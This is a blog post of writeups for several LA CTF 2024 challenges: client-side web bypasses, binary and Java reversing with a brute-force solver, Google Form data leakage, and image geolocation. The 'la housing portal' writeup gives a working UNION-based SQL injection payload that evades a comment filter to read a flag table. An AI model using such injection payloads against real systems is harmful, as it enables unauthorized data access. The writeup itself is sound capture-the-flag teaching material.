16 KiB
| title | date | toc | tags | ||||
|---|---|---|---|---|---|---|---|
| LA CTF 2024: the not so interesting challenge writeups | 2024-02-21 | true |
|
web/terms-and-conditions
Task
web/terms-and-conditions
Welcome to LA CTF 2024! All you have to do is accept the terms and conditions and you get a flag!
Author: aplet123Points: 106Solves: 771 / 1074 (71.788%)
Writeup
This challenge presents us with a page where we need to click on a button to agree to the terms and conditions. However, the button is repelled by our cursor, making it impossible to click on.
We can try to open the console, but the second we try, the entire page disappears and is replaced with the text "NO CONSOLE ALLOWED".
To get around this, we just refresh the page with the console already open, as the page only detects that we have opened the console when the window size changes.
Now we can execute the following JavaScript to click the button and get the flag:
$('button').click()
An alert box pops up, giving us the flag: lactf{that_button_was_definitely_not_one_of_the_terms}.
rev/shattered-memories
Task
rev/shattered-memories
I swear I knew what the flag was but I can't seem to remember it anymore... can you dig it out from my inner psyche?
Author: aplet123Points: 115Solves: 697 / 1074 (64.898%)
Writeup
We are given a binary that asks us what the flag is, takes a line of input, and tells us if we were correct or not.
Running strings on the binary shows us that the flag is just stored directly in the program, in several pieces:
...
u+UH
What was the flag again?
No, I definitely remember it being a different length...
t_what_f
t_means}
nd_forge
lactf{no
orgive_a
No, that definitely isn't it.
...
We can easily determine the correct order of the five pieces, giving us the flag of lactf{not_what_forgive_and_forget_means}.
web/flaglang
Task
web/flaglang
Do you speak the language of the flags?
Author: r2uwu2Points: 133Solves: 607 / 1074 (56.518%)
Writeup
The linked website has two dropdown menus, one to specify what country we are from and one to view what people in the country say. In addition to the real countries, the dropdowns also contain the country "Flagistan".
Looking at the source, if view what people from Flagistan say, we will get the flag. However, trying this gives us the message "Flagistan has an embargo on your country".
The embargo check looks at our iso cookie, which is based on what our origin country is, and determines if it matches any value in the deny property of the selected country.
The countries.yaml file contains the blacklisted countries for Flagistan, which contains every country except Flagistan itself. Therefore, if we set our origin country to Flagistan, we can read the flag. When we try this though, we are told that we are not authenticated. To avoid this we would need to set our password cookie to the correct value, which has been redacted in the source.
Instead, we can just clear our cookies for the site and then directly access https://flaglang.chall.lac.tf/view?country=Flagistan without visiting the main page that sets the iso cookie, giving us the flag: lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}.
misc/infinite loop
Task
misc/infinite loop
I found this google form but I keep getting stuck in a loop! Can you leak to me the contents of form and the message at the end so I can get credit in my class for submitting? Thank you!
Author: burturtPoints: 153Solves: 545 / 1074 (50.745%)
Writeup
We are given a Google Form. After completing the second question though, we are sent back to the same page, making the form impossible to complete.
However, we can view the entire form data in the console through the FB_PUBLIC_LOAD_DATA_ variable.
...
1: Array(5) [ (12) […], (12) […], (12) […], … ]
0: Array(12) [ 1091536957, "Team Name", null, … ]
1: Array(12) [ 44905997, "Recursion", null, … ]
2: Array(12) [ 4259193, "1+1=?", null, … ]
3: Array(12) [ 571684443, "Hidden", null, … ]
4: Array(12) [ 1736602043, "Flag part 1: lactf{l34k1ng_4h3", null, … ]
length: 5
<prototype>: Array []
2: Array(5) [ "Flag part 2: _f04mz_s3cr3tz}", 1, 0, … ]
0: "Flag part 2: _f04mz_s3cr3tz}"
1: 1
2: 0
3: 0
4: 0
length: 5
<prototype>: Array []
...
Looking through the data, we find the flag: lactf{l34k1ng_4h3_f04mz_s3cr3tz}.
misc/mixed signals
Task
misc/mixed signals
NOTE: Unfortunately we goofed up and uploaded the wrong file. As it's too late into the CTF to fix, we will be leaving the challenge as-is. Yes, you can just hear the flag in the audio file directly.
I can't figure out what my friend is trying to tell me. They sent me this recording and told me that the important stuff is at 40 kHz (??? what does that even mean).
This may be useful. Flag format is lactf{xxx} with only lower case letters, numbers, and underscores between the braces.
Author: AVDestroyerPoints: 185Solves: 471 / 1074 (43.855%)
Writeup
In the provided file, you can hear a person spell out the flag in the NATO phonetic alphabet, giving us the flag lactf{c4n_y0u_plz_unm1x_my_s1gn4lz}.
rev/aplet321
Task
rev/aplet321
Unlike Aplet123, Aplet321 might give you the flag if you beg him enough.
nc chall.lac.tf 31321
Author: kaiphaitPoints: 199Solves: 445 / 1074 (41.434%)
Writeup
We are provided with a binary. Decompiling it gives us the following code:
undefined8 main(void)
{
int32_t iVar1;
uint64_t uVar2;
int64_t iVar3;
int64_t *piVar4;
int32_t iVar5;
int32_t iVar6;
char *s1;
int64_t var_238h;
// [14] -r-x section size 553 named .text
setbuf(_stdout, 0);
puts("hi, i\'m aplet321. how can i help?");
fgets(&var_238h, 0x200, _stdin);
uVar2 = strlen(&var_238h);
if (5 < uVar2) {
iVar5 = 0;
iVar6 = 0;
piVar4 = &var_238h;
do {
iVar1 = strncmp(piVar4, "pretty", 6);
iVar6 = iVar6 + (uint32_t)(iVar1 == 0);
iVar1 = strncmp(piVar4, "please", 6);
iVar5 = iVar5 + (uint32_t)(iVar1 == 0);
piVar4 = (int64_t *)((int64_t)piVar4 + 1);
} while (piVar4 != (int64_t *)((int64_t)&var_238h + (uint64_t)((int32_t)uVar2 - 6) + 1));
if (iVar5 != 0) {
iVar3 = strstr(&var_238h, "flag");
if (iVar3 == 0) {
puts("sorry, i didn\'t understand what you mean");
return 0;
}
if ((iVar6 + iVar5 == 0x36) && (iVar6 - iVar5 == -0x18)) {
puts("ok here\'s your flag");
system("cat flag.txt");
return 0;
}
puts("sorry, i\'m not allowed to do that");
return 0;
}
}
puts("so rude");
return 0;
}
Analyzing the code, we can see that the program counts how many times "pretty" and "please" appear in our input, stored into iVar6 and iVar5 respectively. Then, if our input contains the word "flag" and iVar6 and ivar5 were set to 15 and 39, the program executes cat flag.txt.
Therefore, we can send the following input to get the flag:
$ python -c 'print("pretty" * 15 + "please" * 39 + "flag")' | nc chall.lac.tf 31321
hi, i'm aplet321. how can i help?
ok here's your flag
lactf{next_year_i'll_make_aplet456_hqp3c1a7bip5bmnc}
web/la housing portal
Task
web/la housing portal
Portal Tips Double Dashes ("--") Please do not use double dashes in any text boxes you complete or emails you send through the portal. The portal will generate an error when it encounters an attempt to insert double dashes into the database that stores information from the portal.
Also, apologies for the very basic styling. Our unpaid LA Housing(tm) RA who we voluntold to do the website that we gave FREE HOUSING for decided to quit - we've charged them a fee for leaving, but we are stuck with this website. Sorry about that.
Please note, we do not condone any actual attacking of websites without permission, even if they explicitly state on their website that their systems are vulnerable.
Author: burturtPoints: 265Solves: 344 / 1074 (32.030%)
Writeup
The linked website contains a form where we can submit our roommate preferences to find matches. There are four questions, each with a dropdown menu containing set responses.
In the code, we can see that the following query is used to find matches:
query = """
select * from users where {} LIMIT 25;
""".format(
" AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
)
Additionally, the code tells us that if there is a flag table containing the flag. However, if our request contains -- or /*, the query is not executed.
To get the flag, we can submit the following form data:
name:aguests:1' union select 0,*,0,0,0,0 from flag where '1'='1
This will execute the following query:
select * from users where guests = '1' union select 0,*,0,0,0,0 from flag where '1'='1' LIMIT 25;
The response we get contains the flag: lactf{us3_s4n1t1z3d_1npu7!!!}.
rev/the-secret-of-java-island
Task
rev/the-secret-of-java-island
The Secret of Java Island is a 2024 point-and-click graphic adventure game developed and published by LA CTF Games. It takes place in a fictional version of Indonesia during the age of hacking. The player assumes the role of Benson Liu, a young man who dreams of becoming a hacker, and explores fictional flags while solving puzzles.
Author: aplet123Points: 312Solves: 284 / 1074 (26.443%)
Writeup
We are given a .jar file. Running the game presents us with some text and two buttons for choices.
Using a Java decompiler, we see that there are 8 different states the game can be in. Upon reaching state 5, the game creates a socket connection to receive the flag after sending the sequence of button presses used to reach the current state:
Socket var0 = new Socket("chall.lac.tf", 31151);
String var1 = "";
int var3;
for(Iterator var2 = history.iterator(); var2.hasNext(); var1 = var1 + var3) {
var3 = (Integer)var2.next();
}
var0.getOutputStream().write((var1 + "\n").getBytes("UTF-8"));
Scanner var5 = new Scanner(var0.getInputStream());
String var6 = var5.nextLine();
story.setText(var6);
Analyzing the transitionState function, we can determine that the correct sequence of states is 0 -> 1 -> 4 -> 6 -> 0 -> 2 -> 3 -> 5. However, in state 4, we need to send a certain sequence of 8 button presses to reach state 6:
case 4:
if (var0 == 0) {
exploit = exploit + "d";
story.setText("You clobbered the DOM. That was exploit #" + exploit.length() + ".");
} else {
exploit = exploit + "p";
story.setText("You polluted the prototype. That was exploit #" + exploit.length() + ".");
}
if (exploit.length() == 8) {
try {
MessageDigest var1 = MessageDigest.getInstance("SHA-256");
if (!Arrays.equals(var1.digest(exploit.getBytes("UTF-8")), new byte[]{69, 70, -81, -117, -10, 109, 15, 29, 19, 113, 61, -123, -39, 82, -11, -34, 104, -98, -111, 9, 43, 35, -19, 22, 52, -55, -124, -45, -72, -23, 96, -77})) {
state = 7;
} else {
state = 6;
}
updateGame();
} catch (Exception var2) {
throw new RuntimeException(var2);
}
}
We see that the game checks if our sequence is correct by first converting it to a string of ds and ps, and then seeing if its SHA-256 hash matches the correct one. Since there are only 256 possibilities, we can just try them all:
import java.security.MessageDigest;
import java.util.Arrays;
public class Solver {
public static boolean check(String exploit) {
try {
byte[] hash = MessageDigest.getInstance("SHA-256").digest(exploit.getBytes("UTF-8"));
byte[] correct = { 69, 70, -81, -117, -10, 109, 15, 29, 19, 113, 61, -123, -39, 82, -11, -34, 104, -98, -111, 9, 43, 35, -19, 22, 52, -55, -124, -45, -72, -23, 96, -77 };
return Arrays.equals(hash, correct);
} catch (Exception e) {
return false;
}
}
public static String getExploit(String exploit) {
if (exploit.length() == 8)
return check(exploit) ? exploit : "";
String d = getExploit(exploit + "d");
if (d.length() > 0)
return d;
return getExploit(exploit + "p");
}
public static void main(String[] args) {
System.out.println(getExploit(""));
}
}
We get dpddpdpp as the correct sequence. Now we know that the correct history sequence is 00010010110100.
$ echo "00010010110100" | nc chall.lac.tf 31151
<html>The flag is written in ornate gold lettering: lactf{the_graphics_got_a_lot_worse_from_what_i_remembered}</html>
After sending this sequence, we get the flag: lactf{the_graphics_got_a_lot_worse_from_what_i_remembered}.
misc/closed
Task
misc/closed
Over spring break, my friend sent me this picture of a place they went to, and said it was their favorite plate to visit but it closed :(.
Where is this rock?
Answer using the coordinates of the bottom left corner of the rock, rounded to the nearest thousandth. If the coordinates were the physical location of the bruin bear statue, the flag would be
lactf{34.071,-118.445}. Note that there is no space in the flag.
Author: burturtPoints: 343Solves: 245 / 1074 (22.812%)
Writeup
We are given a picture of a sign showing a map of a rock and must determine the coordinates of the rock in question.
The sign provides us with a couple pieces of information. First, we can see "California State Parks" at the top, so we can assume that the rock is near one.
Second, we see that the lower portion of the rock is adjacent to a body of water.
Finally, we can see the name of a road close to the rock, although it has been cut off. The visible part either reads "...hore Trail" or "...nore Trail". The former is the more likely of the two, as the name is probably "Shore Trail".
Let's try asking ChatGPT for California State Parks that are near water and have a "Shore Trail". We are pointed to "Weston Beach Point Lobos" as one of the possibilities.
Finding the park on Google Maps, we can see that there indeed is a "S Shore Trail" nearby. Now we just follow the trail up to the part visible on the sign and find the rock, giving us the flag lactf{36.516,-121.949}.